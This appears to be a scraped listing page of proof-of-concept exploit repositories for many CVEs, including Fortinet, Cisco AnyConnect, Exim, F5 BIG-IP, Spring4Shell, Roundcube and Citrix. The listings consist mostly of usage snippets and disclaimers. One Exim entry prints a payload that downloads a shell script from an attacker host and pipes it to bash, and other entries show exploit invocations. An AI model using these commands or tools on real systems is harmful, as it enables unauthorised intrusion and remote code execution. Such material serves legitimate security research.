CVE-2022-40684

CVE-2022-40684 POC With RUST For CVE-2022-40684 Fortinet FortiOS, FortiProxy, and FortiSwitchManager...

CVE-2020-3153

CVE-2020-3153 POC code for CVE-2020-3153 - Cisco anyconnect path traversal vulnerability Read more about the vulnerability here: https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/ Steps to follow to get Windows shell on desktop with SYSTEM...

CVE-2022-34918

CVE-2022-34918 LPE POC Tried incorporating the USMA exploitation idea proposed by 360, not bad. Chinese writeup: CVE-2022-34918 netfilter Analysis Notes Practice of Writing Generic Kernel EXP Based on USMA on CVE-2022-34918 !! For educational / research purposes only. Use at your own risk. !! poc...

Aj-Report-sql-CVE-2024-5356-POC

exp.py -u specifies URL or -f specifies file for batch detection, -t specifies threads, -h for help Usage pi install requirements.txt python exp.py -u 目标url -t 10 python exp.py -h Notes Ensure the URL starts with http:// or https://, otherwise an error will occur and cannot execute...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command Descargo de responsabilidad Esta herramienta es solo para estudio, investigación y autoevaluación. No debe utilizarse para fines ilegales. ¡Todos lo...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC for exploitation of vulnerability CVE-2019-10149 Usage example python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2024-34470

CVE-2024-34470 PoC and Bulk Scanner Overview This is a proof-of-concept PoC and bulk scanner for CVE-2024-34470: Path Traversal vulnerability HSC Mailinspector affects all versions up to 5.2.18. How to Use POC in Action: Single Target Scan To scan a single target IP: root@kitploit: python...

CVE-2025-5777

. PoC root@kitploit: POST /p/u/doAuthentication.do HTTP/1.1 Host: 167.xxx.xx.x Content-Length: 5 login . La herramienta verifica y luego realiza 20 solicitudes más para explotar. . Uso:- python CVE‑2025‑5777.py python CVE‑2025‑5777.py -l test.txt...

CVE-2024-7965

CVE-2024-7965 This repository contains PoC for CVE-2024-7965. This is the vulnerability in the V8 that occurs only within ARM64. Acknowledgments Yuri Pazdnikov — Junior Vulnerability Researcher @ BI.ZONE...

CVE-2022-32250

CVE-2022-32250 This is my exploit for CVE-2022-32250, written entirely based on the research from NCC Group's blog. Tested on: Kernel version 5.13 Success rate: 70% Building Building requires libmnl and libnftnl. root@kitploit: make all Disclaimer The Proof-of-Concept and the write-up of the...

CVE-2022-47966

CVE-2022-47966 POC for CVE-2022-47966 affecting the following ManageEngine products: Access Manager Plus Active Directory 360 ADAudit Plus ADManager Plus ADSelfService Plus Analytics Plus Application Control Plus Asset Explorer Browser Security Plus Device Control Plus Endpoint Central Endpoint...

Fonoster-LFI-PoC

CVE-2024-43035 - Prueba de Concepto de LFI en Fonoster Este repositorio contiene un script de Prueba de Concepto PoC que demuestra una vulnerabilidad de Inclusión de Archivos Locales en Fonoster. Esta herramienta es solo para fines educativos y pruebas autorizadas. Uso Leer Archivo Local Para...

spring4shell-exploit-poc

Spring4Shell Exploit POC Exploit a Spring Application vulnerable to the Spring4Shell vulnerability. Read more about Spring4shell on our blog. Usage Requirements: Docker and docker-compose root@kitploit: $ ./exploit.sh Vulnerable Spring Application The vulnerable Spring application contains a GET...

vendor-android-cves

vendor-android-cves Collections of our POCs/fuzzing scripts/harness for vendor android CVEs, including those on BlackHat ASIA 2022: https://www.blackhat.com/asia-22/briefings/schedule/the-hidden-rce-surfaces-that-control-the-droids-26083 Update: I've received news about the SMT exploit in this...

wp2shell

wp2shell CVE-2026-63030 + CVE-2026-60137+poc This vulnerability is not very easy to exploit. Database command execution command: SELECT GROUPCONCATSCHEMANAME FROM INFORMATIONSCHEMA.SCHEMATA Reference: https://github.com/Icex0/wp2shell-poc However, there is one issue: adding the account password...

OSWE-Labs-Poc

OSWE - LABORATORIOS Laboratorios dockerizados para la certificación Web Expert OSWE. Preparación para la próxima formación AWAE ... Otro proyecto: análisis de malware y caza de amenazas cibernéticas https://github.com/svdwi/BlueBox Laboratorios disponibles para el OSWE 1. ATutor es un Sistema de...

CVE-2025-49113-PoC

CVE-2025-49113 Roundcube RCE PoC 🚀 How to launch the project 1. Starting the vulnerable server root@kitploit: cd Stand docker-compose up -d 2. Running the script against the target root@kitploit: cd PoC/src python3 scanner.py --target http://localhost:9000 --username test --password test...

cve-2022-3602

cve-2022-3602 PoC ./a.out xn--python -c 'print"A"529'...

CVE-2025-6543_CitrixNetScaler_PoC

CVE-2025-6543CitrixNetScalerPoC Multi-host, multi-port scanner and auditor for CVE-2025-6543-affected NetScaler devices. Supports SNMP and SSH enumeration with optional CSV reporting and exploit stubs. 🔐 GitHub Repository Description CVE-2025-6543 Enhanced Checker Multi-host, multi-port scanner a...

CVE-2018-19246

CVE-2018-19246 Proof of Concept Usage root@kitploit: docker build -t lucas/cve-2018-19246:0.1.0 . docker run --rm -it -p 80:80 lucas/cve-2018-19246:0.1.0 python2 Pocsuite-2.0.8/pocsuite.py -u 172.17.0.1 -r PoC.py...